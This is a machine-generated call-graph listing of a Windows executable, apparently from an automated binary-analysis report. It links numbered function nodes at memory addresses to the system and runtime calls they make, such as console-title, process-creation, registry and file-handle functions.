17547->17545 17549->17538 17551 7ff6bf3dbb6b 17549->17551 17562 7ff6bf3d88a8 17549->17562 17550 7ff6bf3dbc46 17550->17538 17550->17551 17552 7ff6bf3dbc82 iswspace 17550->17552 17551->17538 17553 7ff6bf3dbb92 17551->17553 17552->17551 17554 7ff6bf3dbc99 wcschr 17552->17554 17555 7ff6bf3dbbe2 ??_V@YAXPEAX 17553->17555 17556 7ff6bf3dbbee 17553->17556 17554->17550 17554->17551 17555->17556 17557 7ff6bf3e8f80 7 API calls 17556->17557 17558 7ff6bf3dbc01 17557->17558 17558->17439 17566 7ff6bf3fe9b4 17559->17566 17563 7ff6bf3d88fc 17562->17563 17564 7ff6bf3d88cf 17562->17564 17563->17550 17564->17563 17565 7ff6bf3d88df _wcsicmp 17564->17565 17565->17564 17567 7ff6bf3fe9d9 17566->17567 17568 7ff6bf3fea0f 17566->17568 17578 7ff6bf3d6a48 17567->17578 17569 7ff6bf3fea67 17568->17569 17591 7ff6bf3daf98 17568->17591 17596 7ff6bf3fc978 17569->17596 17573 7ff6bf3fea6c 17574 7ff6bf3feaae 17573->17574 17606 7ff6bf3dd208 17573->17606 17575 7ff6bf3feacf 17574->17575 17610 7ff6bf3e3a0c 17574->17610 17579 7ff6bf3d6b23 17578->17579 17580 7ff6bf3d6a51 17578->17580 17579->17568 17580->17579 17581 7ff6bf3f417c 17580->17581 17582 7ff6bf3d6ab2 17580->17582 17620 7ff6bf3fec14 memset 17581->17620 17583 7ff6bf3e3c24 166 API calls 17582->17583 17585 7ff6bf3d6abf GetProcessHeap RtlFreeHeap 17583->17585 17616 7ff6bf3d6b84 SetEnvironmentStringsW GetProcessHeap RtlFreeHeap 17585->17616 17593 7ff6bf3dafb1 17591->17593 17592 7ff6bf3dafdb 17592->17568 17593->17592 17595 7ff6bf3dd208 _close 17593->17595 17641 7ff6bf3db038 _dup2 17593->17641 17595->17593 17597 7ff6bf3fca9e 17596->17597 17598 7ff6bf3fc98e 17596->17598 17597->17573 17599 7ff6bf3fee4c TerminateProcess GetLastError 17598->17599 17605 7ff6bf3fc9b3 17598->17605 17599->17598 17600 7ff6bf3e5cb4 7 API calls 17600->17605 17601 7ff6bf3dd208 _close 17601->17605 17602 7ff6bf3fca21 _get_osfhandle FlushFileBuffers 17603 7ff6bf3db038 _dup2 17602->17603 17603->17605 17604 7ff6bf3db038 _dup2 17604->17605 17605->17597 17605->17600 17605->17601 17605->17602 17605->17604 17607 7ff6bf3dd211 17606->17607 17609 7ff6bf3dd246 17606->17609 17608 7ff6bf3dd238 _close 17607->17608 17607->17609 17608->17609 17609->17573 17611 7ff6bf3e3a53 FindClose 17610->17611 17615 7ff6bf3e3a25 17610->17615 17612 7ff6bf3e3a74 GetLastError 17611->17612 17613 7ff6bf3e3a66 17611->17613 17612->17613 17613->17574 17614 7ff6bf3eec38 17615->17611 17615->17614 17617 7ff6bf3e4a14 5 API calls 17616->17617 17618 7ff6bf3d6ae8 17617->17618 17619 7ff6bf3d6b30 GetProcessHeap RtlFreeHeap GetProcessHeap RtlFreeHeap 17618->17619 17621 7ff6bf3dca40 17 API calls 17620->17621 17622 7ff6bf3fec96 17621->17622 17623 7ff6bf3fedf7 17622->17623 17626 7ff6bf3e081c 166 API calls 17622->17626 17624 7ff6bf3fee0a ??_V@YAXPEAX 17623->17624 17625 7ff6bf3fee16 17623->17625 17624->17625 17627 7ff6bf3e8f80 7 API calls 17625->17627 17628 7ff6bf3fecca 17626->17628 17629 7ff6bf3f4190 17627->17629 17630 7ff6bf3fecd2 SetCurrentDirectoryW 17628->17630 17631 7ff6bf3fecfb 17628->17631 17633 7ff6bf3fedd4 17630->17633 17634 7ff6bf3fece9 SetErrorMode 17630->17634 17632 7ff6bf3e498c 8 API calls 17631->17632 17635 7ff6bf3fed89 SetCurrentDirectoryW 17632->17635 17636 7ff6bf3e417c 166 API calls 17633->17636 17634->17631 17637 7ff6bf3fedc1 17635->17637 17638 7ff6bf3fedac GetLastError 17635->17638 17636->17623 17637->17633 17640 7ff6bf3fedc6 SetErrorMode 17637->17640 17639 7ff6bf3d3278 166 API calls 17638->17639 17639->17637 17640->17633 17642 7ff6bf3db061 17641->17642 17642->17593 17642->17642 17644 7ff6bf3fa765 17643->17644 17645 7ff6bf3fa791 RegQueryValueExW 17643->17645 17644->17645 17646 7ff6bf3fa76b RegOpenKeyExW 17644->17646 17647 7ff6bf3fa7c0 17645->17647 17648 7ff6bf3fa7d6 17645->17648 17646->17645 17656 7ff6bf3fa78a SetLastError 17646->17656 17649 7ff6bf3db900 166 API calls 17647->17649 17651 7ff6bf3dcd90 166 API calls 17648->17651 17648->17656 17652 7ff6bf3fa7cc 17649->17652 17653 7ff6bf3fa7e3 17651->17653 17654 7ff6bf3fa850 RegCloseKey 17652->17654 17655 7ff6bf3fa85c 17652->17655 17653->17656 17657 7ff6bf3fa7f0 RegQueryValueExW 17653->17657 17654->17655 17655->17482 17656->17652 17657->17652 17658 7ff6bf3fa820 17657->17658 17659 7ff6bf3dff70 2 API calls 17658->17659 17659->17656 22359 7ff6bf3db8c0 22362 7ff6bf3dbe00 22359->22362 22363 7ff6bf3db8d4 22362->22363 22364 7ff6bf3dbe1b 22362->22364 22364->22363 22365 7ff6bf3dbe67 22364->22365 22366 7ff6bf3dbe47 memset 22364->22366 22368 7ff6bf3dbe73 22365->22368 22369 7ff6bf3dbf29 22365->22369 22372 7ff6bf3dbeaf 22365->22372 22468 7ff6bf3dbff0 22366->22468 22370 7ff6bf3dbe92 22368->22370 22373 7ff6bf3dbf0c 22368->22373 22371 7ff6bf3dcd90 166 API calls 22369->22371 22379 7ff6bf3dbea1 22370->22379 22396 7ff6bf3dc620 GetConsoleTitleW 22370->22396 22375 7ff6bf3dbf33 22371->22375 22372->22363 22377 7ff6bf3dbff0 185 API calls 22372->22377 22506 7ff6bf3db0d8 memset 22373->22506 22375->22372 22380 7ff6bf3dbf70 22375->22380 22383 7ff6bf3d88a8 _wcsicmp 22375->22383 22377->22363 22379->22372 22386 7ff6bf3daf98 2 API calls 22379->22386 22390 7ff6bf3dbf75 22380->22390 22566 7ff6bf3d71ec 22380->22566 22381 7ff6bf3dbf1e 22381->22372 22385 7ff6bf3dbf5a 22383->22385 22384 7ff6bf3dbfa9 22384->22372 22387 7ff6bf3dcd90 166 API calls 22384->22387 22385->22380 22388 7ff6bf3e0a6c 273 API calls 22385->22388 22386->22372 22389 7ff6bf3dbfbb 22387->22389 22388->22380 22389->22372 22392 7ff6bf3e081c 166 API calls 22389->22392 22391 7ff6bf3db0d8 194 API calls 22390->22391 22393 7ff6bf3dbf7f 22391->22393 22392->22390 22393->22372 22439 7ff6bf3e5ad8 22393->22439 22397 7ff6bf3dca2f 22396->22397 22399 7ff6bf3dc675 22396->22399 22398 7ff6bf3ec5fc GetLastError 22397->22398 22401 7ff6bf3d3278 166 API calls 22397->22401 22402 7ff6bf3e855c ??_V@YAXPEAX 22397->22402 22398->22397 22400 7ff6bf3dca40 17 API calls 22399->22400 22409 7ff6bf3dc69b 22400->22409 22401->22397 22402->22397 22403 7ff6bf3e291c 8 API calls 22427 7ff6bf3dc762 22403->22427 22404 7ff6bf3dc9b5 22408 7ff6bf3e855c ??_V@YAXPEAX 22404->22408 22405 7ff6bf3d89c0 23 API calls 22405->22427 22406 7ff6bf3dc978 towupper 22406->22427 22407 7ff6bf3e855c ??_V@YAXPEAX 22407->22427 22431 7ff6bf3dc855 22408->22431 22409->22397 22409->22404 22411 7ff6bf3dd3f0 223 API calls 22409->22411 22409->22427 22410 7ff6bf3ec60e 22413 7ff6bf3fec14 173 API calls 22410->22413 22414 7ff6bf3dc741 22411->22414 22412 7ff6bf3dc872 22415 7ff6bf3e855c ??_V@YAXPEAX 22412->22415 22413->22427 22417 7ff6bf3dc74d 22414->22417 22419 7ff6bf3dc8b5 wcsncmp 22414->22419 22418 7ff6bf3dc87c 22415->22418 22416 7ff6bf3ec6b8 SetConsoleTitleW 22416->22412 22420 7ff6bf3dbd38 207 API calls 22417->22420 22417->22427 22421 7ff6bf3e8f80 7 API calls 22418->22421 22419->22417 22419->22427 22420->22427 22423 7ff6bf3dc88e 22421->22423 22422 7ff6bf3dc83d 22572 7ff6bf3dcb40 22422->22572 22423->22379 22425 7ff6bf3dc78a wcschr 22425->22427 22427->22397 22427->22398 22427->22403 22427->22404 22427->22405 22427->22406 22427->22407 22427->22410 22427->22422 22427->22425 22427->22427 22428 7ff6bf3dca25 22427->22428 22430 7ff6bf3ec684 22427->22430 22434 7ff6bf3dca2a 22427->22434 22436 7ff6bf3dca16 GetLastError 22427->22436 22432 7ff6bf3d3278 166 API calls 22428->22432 22433 7ff6bf3d3278 166 API calls 22430->22433 22431->22412 22431->22416 22432->22397 22433->22397 22435 7ff6bf3e9158 7 API calls 22434->22435 22435->22397 22438 7ff6bf3d3278 166 API calls 22436->22438 22438->22397 22440 7ff6bf3dcd90 166 API calls 22439->22440 22441 7ff6bf3e5b12 22440->22441 22442 7ff6bf3dcb40 166 API calls 22441->22442 22467 7ff6bf3e5b8b 22441->22467 22444 7ff6bf3e5b26 22442->22444 22443 7ff6bf3e8f80 7 API calls 22445 7ff6bf3dbf99 22443->22445 22446 7ff6bf3e0a6c 273 API calls 22444->22446 22444->22467 22445->22379 22447 7ff6bf3e5b43 22446->22447 22448 7ff6bf3e5bb8 22447->22448 22449 7ff6bf3e5b48 GetConsoleTitleW 22447->22449 22451 7ff6bf3e5bf4 22448->22451 22452 7ff6bf3e5bbd GetConsoleTitleW 22448->22452 22450 7ff6bf3dcad4 172 API calls 22449->22450 22453 7ff6bf3e5b66 22450->22453 22454 7ff6bf3ef452 22451->22454 22455 7ff6bf3e5bfd 22451->22455 22456 7ff6bf3dcad4 172 API calls 22452->22456 22588 7ff6bf3e4224 InitializeProcThreadAttributeList 22453->22588 22459 7ff6bf3e3c24 166 API calls 22454->22459 22462 7ff6bf3ef462 22455->22462 22463 7ff6bf3e5c1b 22455->22463 22455->22467 22457 7ff6bf3e5bdb 22456->22457 22648 7ff6bf3d96e8 22457->22648 22459->22467 22461 7ff6bf3e5b7f 22466 7ff6bf3e5c3c SetConsoleTitleW 22461->22466 22465 7ff6bf3d3278 166 API calls 22462->22465 22464 7ff6bf3d3278 166 API calls 22463->22464 22464->22467 22465->22467 22466->22467 22467->22443 22469 7ff6bf3dc01c 22468->22469 22489 7ff6bf3dc0c4 22468->22489 22470 7ff6bf3dc022 22469->22470 22471 7ff6bf3dc086 22469->22471 22473 7ff6bf3dc113 22470->22473 22474 7ff6bf3dc030 22470->22474 22472 7ff6bf3dc094 22471->22472 22476 7ff6bf3dc144 22471->22476 22481 7ff6bf3dc460 183 API calls 22472->22481 22472->22489 22484 7ff6bf3dff70 2 API calls 22473->22484 22501 7ff6bf3dc053 22473->22501 22475 7ff6bf3dc039 wcschr 22474->22475 22474->22501 22477 7ff6bf3dc301 22475->22477 22475->22501 22479 7ff6bf3dc151 22476->22479 22505 7ff6bf3dc1c8 22476->22505 22483 7ff6bf3dcd90 166 API calls 22477->22483 22478 7ff6bf3dc0c6 22482 7ff6bf3dc0cf wcschr 22478->22482 22487 7ff6bf3dc073 22478->22487 22854 7ff6bf3dc460 22479->22854 22481->22472 22485 7ff6bf3dc1be 22482->22485 22482->22487 22504 7ff6bf3dc30b 22483->22504 22484->22501 22491 7ff6bf3dcd90 166 API calls 22485->22491 22486 7ff6bf3dc058 22486->22487 22490 7ff6bf3dff70 2 API calls 22486->22490 22487->22489 22493 7ff6bf3dc460 183 API calls 22487->22493 22489->22365 22490->22487 22491->22505 22492 7ff6bf3dc460 183 API calls 22492->22489 22493->22487 22494 7ff6bf3dc285 22495 7ff6bf3dc211 22494->22495 22499 7ff6bf3db6b0 170 API calls 22494->22499 22496 7ff6bf3dff70 2 API calls 22495->22496 22496->22489 22497 7ff6bf3dd840 178 API calls 22497->22504 22498 7ff6bf3db6b0 170 API calls 22498->22501 22502 7ff6bf3dc2ac 22499->22502 22500 7ff6bf3dd840 178 API calls 22500->22505 22501->22478 22501->22486 22501->22495 22502->22487 22502->22495 22503 7ff6bf3dc3d4 22503->22487 22503->22495 22503->22498 22504->22489 22504->22495 22504->22497 22504->22503 22505->22489 22505->22494 22505->22495 22505->22500 22507 7ff6bf3dca40 17 API calls 22506->22507 22523 7ff6bf3db162 22507->22523 22508 7ff6bf3db2e1 22509 7ff6bf3db303 22508->22509 22510 7ff6bf3db2f7 ??_V@YAXPEAX 22508->22510 22512 7ff6bf3e8f80 7 API calls 22509->22512 22510->22509 22511 7ff6bf3db1d9 22515 7ff6bf3dcd90 166 API calls 22511->22515 22531 7ff6bf3db1ed 22511->22531 22514 7ff6bf3db315 22512->22514 22513 7ff6bf3e1ea0 8 API calls 22513->22523 22514->22370 22514->22381 22515->22531 22517 7ff6bf3ebfef _get_osfhandle SetFilePointer 22520 7ff6bf3ec01d 22517->22520 22517->22531 22518 7ff6bf3db228 _get_osfhandle 22519 7ff6bf3db23f _get_osfhandle 22518->22519 22518->22531 22519->22531 22522 7ff6bf3e33f0 _vsnwprintf 22520->22522 22525 7ff6bf3ec038 22522->22525 22523->22508 22523->22511 22523->22513 22523->22523 22524 7ff6bf3e01b8 6 API calls 22524->22531 22530 7ff6bf3d3278 166 API calls 22525->22530 22526 7ff6bf3ec1c3 22527 7ff6bf3e33f0 _vsnwprintf 22526->22527 22527->22525 22528 7ff6bf3dd208 _close 22528->22531 22529 7ff6bf3e26e0 19 API calls 22529->22531 22532 7ff6bf3ec1f9 22530->22532 22531->22508 22531->22517 22531->22518 22531->22524 22531->22526 22531->22528 22531->22529 22533 7ff6bf3ec060 22531->22533 22535 7ff6bf3db038 _dup2 22531->22535 22536 7ff6bf3ec246 22531->22536 22541 7ff6bf3db356 22531->22541 22565 7ff6bf3ec1a5 22531->22565 22868 7ff6bf3daffc _dup 22531->22868 22870 7ff6bf3ff318 _get_osfhandle GetFileType 22531->22870 22534 7ff6bf3daf98 2 API calls 22532->22534 22533->22536 22539 7ff6bf3e09f4 2 API calls 22533->22539 22534->22508 22535->22531 22537 7ff6bf3daf98 2 API calls 22536->22537 22540 7ff6bf3ec24b 22537->22540 22538 7ff6bf3db038 _dup2 22542 7ff6bf3ec1b7 22538->22542 22543 7ff6bf3ec084 22539->22543 22544 7ff6bf3ff1d8 166 API calls 22540->22544 22550 7ff6bf3daf98 2 API calls 22541->22550 22545 7ff6bf3ec1be 22542->22545 22546 7ff6bf3ec207 22542->22546 22547 7ff6bf3db900 166 API calls 22543->22547 22544->22508 22551 7ff6bf3dd208 _close 22545->22551 22549 7ff6bf3dd208 _close 22546->22549 22548 7ff6bf3ec08c 22547->22548 22552 7ff6bf3ec094 wcsrchr 22548->22552 22562 7ff6bf3ec0ad 22548->22562 22549->22541 22553 7ff6bf3ec211 22550->22553 22551->22526 22552->22562 22554 7ff6bf3e33f0 _vsnwprintf 22553->22554 22555 7ff6bf3ec22c 22554->22555 22556 7ff6bf3d3278 166 API calls 22555->22556 22556->22508 22557 7ff6bf3ec106 22558 7ff6bf3dff70 2 API calls 22557->22558 22560 7ff6bf3ec13b 22558->22560 22559 7ff6bf3ec0e0 _wcsnicmp 22559->22562 22560->22536 22561 7ff6bf3ec146 SearchPathW 22560->22561 22561->22536 22563 7ff6bf3ec188 22561->22563 22562->22557 22562->22559 22562->22562 22564 7ff6bf3e26e0 19 API calls 22563->22564 22564->22565 22565->22538 22567 7ff6bf3d7279 22566->22567 22568 7ff6bf3d7211 _setjmp 22566->22568 22567->22384 22568->22567 22570 7ff6bf3d7265 22568->22570 22871 7ff6bf3d72b0 22570->22871 22573 7ff6bf3dcb63 22572->22573 22574 7ff6bf3dcd90 166 API calls 22573->22574 22575 7ff6bf3dc848 22574->22575 22575->22431 22576 7ff6bf3dcad4 22575->22576 22577 7ff6bf3dcad9 22576->22577 22585 7ff6bf3dcb05 22576->22585 22578 7ff6bf3dcd90 166 API calls 22577->22578 22577->22585 22579 7ff6bf3ec722 22578->22579 22580 7ff6bf3ec72e GetConsoleTitleW 22579->22580 22579->22585 22581 7ff6bf3ec74a 22580->22581 22580->22585 22582 7ff6bf3db6b0 170 API calls 22581->22582 22587 7ff6bf3ec778 22582->22587 22583 7ff6bf3ec7ec 22584 7ff6bf3dff70 2 API calls 22583->22584 22584->22585 22585->22431 22586 7ff6bf3ec7dd SetConsoleTitleW 22586->22583 22587->22583 22587->22586 22589 7ff6bf3eecd4 GetLastError 22588->22589 22590 7ff6bf3e42ab UpdateProcThreadAttribute 22588->22590 22591 7ff6bf3eecee 22589->22591 22592 7ff6bf3eecf0 GetLastError 22590->22592 22593 7ff6bf3e42eb memset memset GetStartupInfoW 22590->22593 22685 7ff6bf3f9eec 22592->22685 22595 7ff6bf3e3a90 170 API calls 22593->22595 22597 7ff6bf3e43a8 22595->22597 22598 7ff6bf3db900 166 API calls 22597->22598 22599 7ff6bf3e43bb 22598->22599 22600 7ff6bf3e43cc 22599->22600 22601 7ff6bf3e4638 _local_unwind 22599->22601 22602 7ff6bf3e4415 22600->22602 22603 7ff6bf3e43de wcsrchr 22600->22603 22601->22600 22672 7ff6bf3e5a68 _get_osfhandle SetConsoleMode _get_osfhandle SetConsoleMode 22602->22672 22603->22602 22605 7ff6bf3e43f7 lstrcmpW 22603->22605 22605->22602 22607 7ff6bf3e4668 22605->22607 22606 7ff6bf3e441a 22608 7ff6bf3e442a CreateProcessW 22606->22608 22611 7ff6bf3e4596 CreateProcessAsUserW 22606->22611 22673 7ff6bf3f9044 22607->22673 22610 7ff6bf3e448b 22608->22610 22612 7ff6bf3e4672 GetLastError 22610->22612 22613 7ff6bf3e4495 CloseHandle 22610->22613 22611->22610 22621 7ff6bf3e468d 22612->22621 22614 7ff6bf3e498c 8 API calls 22613->22614 22615 7ff6bf3e44c5 22614->22615 22619 7ff6bf3e44cd 22615->22619 22615->22621 22616 7ff6bf3e47a3 22616->22461 22617 7ff6bf3e44f8 22617->22616 22620 7ff6bf3e4612 22617->22620 22623 7ff6bf3e5cb4 7 API calls 22617->22623 22618 7ff6bf3dcd90 166 API calls 22622 7ff6bf3e4724 22618->22622 22619->22616 22619->22617 22636 7ff6bf3fa250 33 API calls 22619->22636 22624 7ff6bf3e461c 22620->22624 22626 7ff6bf3e47e1 CloseHandle 22620->22626 22621->22618 22621->22619 22625 7ff6bf3e472c _local_unwind 22622->22625 22632 7ff6bf3e473d 22622->22632 22627 7ff6bf3e4517 22623->22627 22628 7ff6bf3dff70 GetProcessHeap RtlFreeHeap 22624->22628 22625->22632 22626->22624 22629 7ff6bf3e33f0 _vsnwprintf 22627->22629 22630 7ff6bf3e47fa DeleteProcThreadAttributeList 22628->22630 22631 7ff6bf3e4544 22629->22631 22633 7ff6bf3e8f80 7 API calls 22630->22633 22634 7ff6bf3e498c 8 API calls 22631->22634 22640 7ff6bf3dff70 GetProcessHeap RtlFreeHeap 22632->22640 22637 7ff6bf3e4820 22633->22637 22635 7ff6bf3e4558 22634->22635 22638 7ff6bf3e4564 22635->22638 22639 7ff6bf3e47ae 22635->22639 22636->22617 22637->22461 22641 7ff6bf3e498c 8 API calls 22638->22641 22642 7ff6bf3e33f0 _vsnwprintf 22639->22642 22643 7ff6bf3e475b _local_unwind 22640->22643 22644 7ff6bf3e4577 22641->22644 22642->22620 22643->22619 22644->22624 22645 7ff6bf3e457f 22644->22645 22646 7ff6bf3fa920 210 API calls 22645->22646 22647 7ff6bf3e4584 22646->22647 22647->22624 22652 7ff6bf3d9737 22648->22652 22650 7ff6bf3dcd90 166 API calls 22650->22652 22651 7ff6bf3d977d memset 22653 7ff6bf3dca40 17 API calls 22651->22653 22652->22650 22652->22651 22654 7ff6bf3eb7b3 22652->22654 22655 7ff6bf3eb76e 22652->22655 22656 7ff6bf3eb79a 22652->22656 22659 7ff6bf3db364 17 API calls 22652->22659 22666 7ff6bf3d96b4 186 API calls 22652->22666 22667 7ff6bf3d986d 22652->22667 22687 7ff6bf3e1fac memset 22652->22687 22714 7ff6bf3dce10 22652->22714 22764 7ff6bf3e5920 22652->22764 22653->22652 22657 7ff6bf3d3278 166 API calls 22655->22657 22660 7ff6bf3e855c ??_V@YAXPEAX 22656->22660 22658 7ff6bf3eb787 22657->22658 22661 7ff6bf3eb795 22658->22661 22662 7ff6bf3fe944 393 API calls 22658->22662 22659->22652 22660->22654 22770 7ff6bf3f7694 22661->22770 22662->22661 22666->22652 22668 7ff6bf3d9880 ??_V@YAXPEAX 22667->22668 22669 7ff6bf3d988c 22667->22669 22668->22669 22670 7ff6bf3e8f80 7 API calls 22669->22670 22671 7ff6bf3d989d 22670->22671 22671->22461 22674 7ff6bf3e3a90 170 API calls 22673->22674 22675 7ff6bf3f9064 22674->22675 22676 7ff6bf3f906e 22675->22676 22678 7ff6bf3f9083 22675->22678 22677 7ff6bf3e498c 8 API calls 22676->22677 22679 7ff6bf3f9081 22677->22679 22680 7ff6bf3dcd90 166 API calls 22678->22680 22679->22602 22681 7ff6bf3f909b 22680->22681 22681->22679 22682 7ff6bf3e498c 8 API calls 22681->22682 22683 7ff6bf3f90ec 22682->22683 22684 7ff6bf3dff70 2 API calls 22683->22684 22684->22679 22686 7ff6bf3eed0a DeleteProcThreadAttributeList 22685->22686 22686->22591 22689 7ff6bf3e203b 22687->22689 22688 7ff6bf3e20b0 22690 7ff6bf3e3060 171 API calls 22688->22690 22692 7ff6bf3e211c 22688->22692 22689->22688 22691 7ff6bf3e2094 22689->22691 22690->22692 22693 7ff6bf3e20a6 22691->22693 22694 7ff6bf3d3278 166 API calls 22691->22694 22692->22693 22695 7ff6bf3e2e44 2 API calls 22692->22695 22696 7ff6bf3e8f80 7 API calls 22693->22696 22694->22693 22698 7ff6bf3e2148 22695->22698 22697 7ff6bf3e2325 22696->22697 22697->22652 22698->22693 22699 7ff6bf3e2d70 3 API calls 22698->22699 22700 7ff6bf3e21af 22699->22700 22701 7ff6bf3db900 166 API calls 22700->22701 22703 7ff6bf3e21d0 22701->22703 22702 7ff6bf3ee04a ??_V@YAXPEAX 22702->22693 22703->22702 22704 7ff6bf3e221c wcsspn 22703->22704 22712 7ff6bf3e22a4 ??_V@YAXPEAX 22703->22712 22705 7ff6bf3db900 166 API calls 22704->22705 22707 7ff6bf3e223b 22705->22707 22707->22702 22710 7ff6bf3e2252 22707->22710 22708 7ff6bf3dd3f0 223 API calls 22708->22712 22709 7ff6bf3ee06d wcschr 22709->22710 22710->22709 22711 7ff6bf3ee090 towupper 22710->22711 22713 7ff6bf3e228f 22710->22713 22711->22710 22711->22713 22712->22693 22713->22708 22715 7ff6bf3dd0f8 22714->22715 22746 7ff6bf3dce5b 22714->22746 22717 7ff6bf3e8f80 7 API calls 22715->22717 22716 7ff6bf3ec860 22719 7ff6bf3ec97c 22716->22719 22722 7ff6bf3fee88 390 API calls 22716->22722 22718 7ff6bf3dd10a 22717->22718 22718->22652 22721 7ff6bf3fe9b4 197 API calls 22719->22721 22720 7ff6bf3e0494 182 API calls 22720->22746 22723 7ff6bf3ec981 longjmp 22721->22723 22724 7ff6bf3ec879 22722->22724 22725 7ff6bf3ec99a 22723->22725 22726 7ff6bf3ec882 EnterCriticalSection LeaveCriticalSection 22724->22726 22727 7ff6bf3ec95c 22724->22727 22725->22715 22729 7ff6bf3ec9b3 ??_V@YAXPEAX 22725->22729 22732 7ff6bf3dd0e3 22726->22732 22727->22719 22730 7ff6bf3d96b4 186 API calls 22727->22730 22729->22715 22730->22727 22731 7ff6bf3dceaa _tell 22734 7ff6bf3dd208 _close 22731->22734 22732->22652 22733 7ff6bf3dcd90 166 API calls 22733->22746 22734->22746 22735 7ff6bf3ec9d5 22736 7ff6bf3fd610 167 API calls 22735->22736 22738 7ff6bf3ec9da 22736->22738 22737 7ff6bf3db900 166 API calls 22737->22746 22739 7ff6bf3eca07 22738->22739 22741 7ff6bf3fbfec 176 API calls 22738->22741 22740 7ff6bf3fe91c 198 API calls 22739->22740 22745 7ff6bf3eca0c 22740->22745 22742 7ff6bf3ec9f1 22741->22742 22744 7ff6bf3d3240 166 API calls 22742->22744 22743 7ff6bf3dcf33 memset 22743->22746 22744->22739 22745->22652 22746->22715 22746->22716 22746->22720 22746->22725 22746->22732 22746->22733 22746->22735 22746->22737 22746->22743 22747 7ff6bf3dca40 17 API calls 22746->22747 22748 7ff6bf3fbfec 176 API calls 22746->22748 22749 7ff6bf3dd184 wcschr 22746->22749 22750 7ff6bf3dd1a7 wcschr 22746->22750 22751 7ff6bf3ec9c9 22746->22751 22753 7ff6bf3f778c 166 API calls 22746->22753 22754 7ff6bf3e0a6c 273 API calls 22746->22754 22755 7ff6bf3dbe00 635 API calls 22746->22755 22756 7ff6bf3e3448 166 API calls 22746->22756 22757 7ff6bf3e0580 12 API calls 22746->22757 22758 7ff6bf3dcfab _wcsicmp 22746->22758 22762 7ff6bf3e1fac 238 API calls 22746->22762 22763 7ff6bf3dd044 ??_V@YAXPEAX 22746->22763 22776 7ff6bf3ddf60 22746->22776 22796 7ff6bf3fc738 22746->22796 22747->22746 22748->22746 22749->22746 22750->22746 22752 7ff6bf3e855c ??_V@YAXPEAX 22751->22752 22752->22715 22753->22746 22754->22746 22755->22746 22756->22746 22759 7ff6bf3dd003 GetConsoleOutputCP GetCPInfo 22757->22759 22758->22746 22760 7ff6bf3e04f4 3 API calls 22759->22760 22760->22746 22762->22746 22763->22746 22765 7ff6bf3e596c 22764->22765 22769 7ff6bf3e5a12 22764->22769 22766 7ff6bf3e598d VirtualQuery 22765->22766 22765->22769 22768 7ff6bf3e59ad 22766->22768 22766->22769 22767 7ff6bf3e59b7 VirtualQuery 22767->22768 22767->22769 22768->22767 22768->22769 22769->22652 22771 7ff6bf3f76a3 22770->22771 22772 7ff6bf3f76b7 22771->22772 22773 7ff6bf3d96b4 186 API calls 22771->22773 22774 7ff6bf3fe9b4 197 API calls 22772->22774 22773->22771 22775 7ff6bf3f76bc longjmp 22774->22775 22777 7ff6bf3ddf93 22776->22777 22778 7ff6bf3ddfe2 22776->22778 22777->22778 22779 7ff6bf3ddf9f GetProcessHeap RtlFreeHeap 22777->22779 22780 7ff6bf3de100 VirtualFree 22778->22780 22781 7ff6bf3de00b _setjmp 22778->22781 22779->22777 22779->22778 22780->22778 22782 7ff6bf3de04a 22781->22782 22783 7ff6bf3de0c3 22781->22783 22784 7ff6bf3de600 473 API calls 22782->22784 22783->22731 22785 7ff6bf3de073 22784->22785 22786 7ff6bf3de081 22785->22786 22787 7ff6bf3de0e0 longjmp 22785->22787 22788 7ff6bf3dd250 475 API calls 22786->22788 22795 7ff6bf3de0b0 22787->22795 22789 7ff6bf3de086 22788->22789 22792 7ff6bf3de600 473 API calls 22789->22792 22789->22795 22793 7ff6bf3de0a7 22792->22793 22794 7ff6bf3fd610 167 API calls 22793->22794 22793->22795 22794->22795 22795->22783 22806 7ff6bf3fd3fc 22795->22806 22797 7ff6bf3fc775 22796->22797 22804 7ff6bf3fc7ab 22796->22804 22798 7ff6bf3dcd90 166 API calls 22797->22798 22800 7ff6bf3fc781 22798->22800 22799 7ff6bf3fc8d4 22799->22746 22800->22799 22801 7ff6bf3db0d8 194 API calls 22800->22801 22801->22799 22802 7ff6bf3db6b0 170 API calls 22802->22804 22803 7ff6bf3db038 _dup2 22803->22804 22804->22799 22804->22800 22804->22802 22804->22803 22805 7ff6bf3dd208 _close 22804->22805 22805->22804 22807 7ff6bf3fd419 22806->22807 22808 7ff6bf3fd576 22807->22808 22809 7ff6bf3fd555 22807->22809 22810 7ff6bf3fd592 22807->22810 22811 7ff6bf3fd5c4 22807->22811 22816 7ff6bf3fd541 22807->22816 22817 7ff6bf3ecadf 22807->22817 22822 7ff6bf3fd3fc 166 API calls 22807->22822 22823 7ff6bf3e3448 166 API calls 22807->22823 22808->22809 22808->22810 22831 7ff6bf3fd31c 22809->22831 22812 7ff6bf3e3448 166 API calls 22810->22812 22813 7ff6bf3e3448 166 API calls 22811->22813 22815 7ff6bf3fd5a5 22812->22815 22813->22817 22818 7ff6bf3fd5ba 22815->22818 22820 7ff6bf3e3448 166 API calls 22815->22820 22816->22810 22819 7ff6bf3fd546 22816->22819 22824 7ff6bf3fd36c 22818->22824 22819->22809 22819->22811 22820->22818 22822->22807 22823->22807 22825 7ff6bf3fd381 22824->22825 22826 7ff6bf3fd3d8 22824->22826 22827 7ff6bf3e34a0 166 API calls 22825->22827 22830 7ff6bf3fd390 22827->22830 22828 7ff6bf3e3448 166 API calls 22828->22830 22829 7ff6bf3e34a0 166 API calls 22829->22830 22830->22826 22830->22828 22830->22829 22832 7ff6bf3e3448 166 API calls 22831->22832 22833 7ff6bf3fd33b 22832->22833 22834 7ff6bf3fd36c 166 API calls 22833->22834 22835 7ff6bf3fd343 22834->22835 22836 7ff6bf3fd3fc 166 API calls 22835->22836 22853 7ff6bf3fd34e 22836->22853 22837 7ff6bf3fd5c2 22837->22817 22838 7ff6bf3e3448 166 API calls 22838->22853 22839 7ff6bf3fd576 22840 7ff6bf3fd592 22839->22840 22851 7ff6bf3fd555 22839->22851 22842 7ff6bf3e3448 166 API calls 22840->22842 22841 7ff6bf3fd5c4 22843 7ff6bf3e3448 166 API calls 22841->22843 22845 7ff6bf3fd5a5 22842->22845 22843->22837 22844 7ff6bf3fd31c 166 API calls 22844->22837 22847 7ff6bf3fd5ba 22845->22847 22849 7ff6bf3e3448 166 API calls 22845->22849 22846 7ff6bf3fd541 22846->22840 22848 7ff6bf3fd546 22846->22848 22850 7ff6bf3fd36c 166 API calls 22847->22850 22848->22841 22848->22851 22849->22847 22850->22837 22851->22844 22852 7ff6bf3fd3fc 166 API calls 22852->22853 22853->22837 22853->22838 22853->22839 22853->22840 22853->22841 22853->22846 22853->22851 22853->22852 